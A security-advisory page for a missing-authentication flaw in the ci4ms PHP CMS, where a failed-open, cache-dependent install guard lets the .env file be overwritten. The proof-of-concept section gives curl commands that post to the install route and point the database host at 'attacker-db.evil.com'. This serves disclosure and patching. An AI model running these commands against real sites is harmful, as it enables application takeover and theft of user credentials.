Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-8rh5-4mvx-xj7j

HIGH

GHSA-8rh5-4mvx-xj7j is a high-severity (CVSS 8.1) Missing Authentication vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-8rh5-4mvx-xj7j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass

Also known asCVE-2026-39393
Published
Apr 8, 2026
Updated
Apr 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected
🐘ci4-cms-erp/ci4ms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The install route guard in ci4ms relies solely on a volatile cache check (cache('settings')) combined with .env file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the .env file with attacker-controlled database credentials, achieving full application takeover.

Details

The InstallFilter::before() method at modules/Install/Filters/InstallFilter.php:13 implements the install guard:

public function before(RequestInterface $request, $arguments = null)
{
    if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();
}

This requires both conditions — .env existence AND non-empty cache — to block access. The cache population happens in app/Config/Filters.php:128-151 during the Filters constructor, which runs before route-specific filters:

public function __construct()
{
    parent::__construct();
    if (is_file(ROOTPATH . '.env')) {
        try {
            $this->commonModel = new CommonModel();
            if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {
                $this->settings = $this->commonModel->lists('settings');
                // ... populate cache ...
                cache()->save('settings', $set, 86400); // 24h TTL
            }
        } catch (\Throwable $e) {
            $this->settings = (object)[]; // Silently swallow ALL exceptions
        }
    }

When the database is unreachable (connection failure, timeout, maintenance), the \Throwable catch at line 148-150 silently swallows the exception. The cache remains empty, and InstallFilter::before() sees empty(cache('settings')) as true, allowing the request through.

The install controller at modules/Install/Controllers/Install.php:10-87 then processes the POST:

  1. The host parameter at line 35 is not present in the validation rules ($valData, lines 13-27) — it is written directly from $this->request->getPost('host') to .env with zero validation
  2. copyEnvFile() (line 70) overwrites the existing .env by copying from the env template
  3. updateEnvSettings() (line 70) writes attacker-controlled values including database hostname
  4. No database connection is needed — the index() action only performs filesystem operations

Additionally, CSRF protection is explicitly disabled for all install routes in modules/Install/Config/InstallConfig.php:7-10:

public $csrfExcept = [
    'install',
    'install/*'
];

The cache has a 24-hour TTL (Filters.php:143), and cache()->delete('settings') is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.

PoC

Prerequisites: The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the settings cache has expired or been cleared.

# Step 1: Verify the install route is accessible (DB outage + cache miss)
curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)

# Step 2: Overwrite .env with attacker-controlled database credentials
curl -X POST http://target/install \
  -d 'baseUrl=http://target/' \
  -d 'host=attacker-db.evil.com' \
  -d 'dbname=ci4ms' \
  -d 'dbusername=root' \
  -d 'dbpassword=pass' \
  -d 'dbdriver=MySQLi' \
  -d 'dbpre=' \
  -d 'dbport=3306' \
  -d 'name=Admin' \
  -d 'surname=Evil' \
  -d 'username=admin' \
  -d 'password=Evil1234!' \
  -d '[email protected]' \
  -d 'siteName=Pwned'
# No CSRF token required (CSRF exempt for install routes)
# .env is now overwritten with attacker's DB hostname

# Step 3: Follow redirect to /install/dbsetup
# This runs migrations on the attacker-controlled database and creates an admin account
# The application now connects to attacker's database = full takeover

Impact

When exploited during a database outage coinciding with cache expiry:

  • Full application takeover: The .env file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server
  • Credential theft: All subsequent user logins, form submissions, and API calls send data to the attacker's database
  • Data integrity loss: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation
  • Encryption key reset: generateEncryptionKey() is called (line 70), invalidating all existing encrypted data and sessions

The attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.

Recommended Fix

Replace the volatile cache-based install guard with a persistent filesystem lock:

// modules/Install/Filters/InstallFilter.php
class InstallFilter implements FilterInterface
{
    public function before(RequestInterface $request, $arguments = null)
    {
        // Use a persistent filesystem lock instead of volatile cache
        if (file_exists(WRITEPATH . 'installed.lock')) {
            return show_404();
        }
    }
}

Create the lock file at the end of successful installation in Install::dbsetup():

// At the end of dbsetup(), after successful migration and setup:
file_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));

Additionally, add validation for the host parameter in Install::index():

$valData['host'] = [
    'label' => lang('Install.databaseHost'),
    'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'
];

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistci4-cms-erp/ci4msall versions0.31.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update ci4-cms-erp/ci4ms to 0.31.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8rh5-4mvx-xj7j is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8rh5-4mvx-xj7j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8rh5-4mvx-xj7j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The install route guard in ci4ms relies solely on a volatile cache check (`cache('settings')`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover. ## Details The `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the insta
O3 Security · Impact-Aware SCA

Is GHSA-8rh5-4mvx-xj7j in your dependencies?

O3 detects GHSA-8rh5-4mvx-xj7j across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.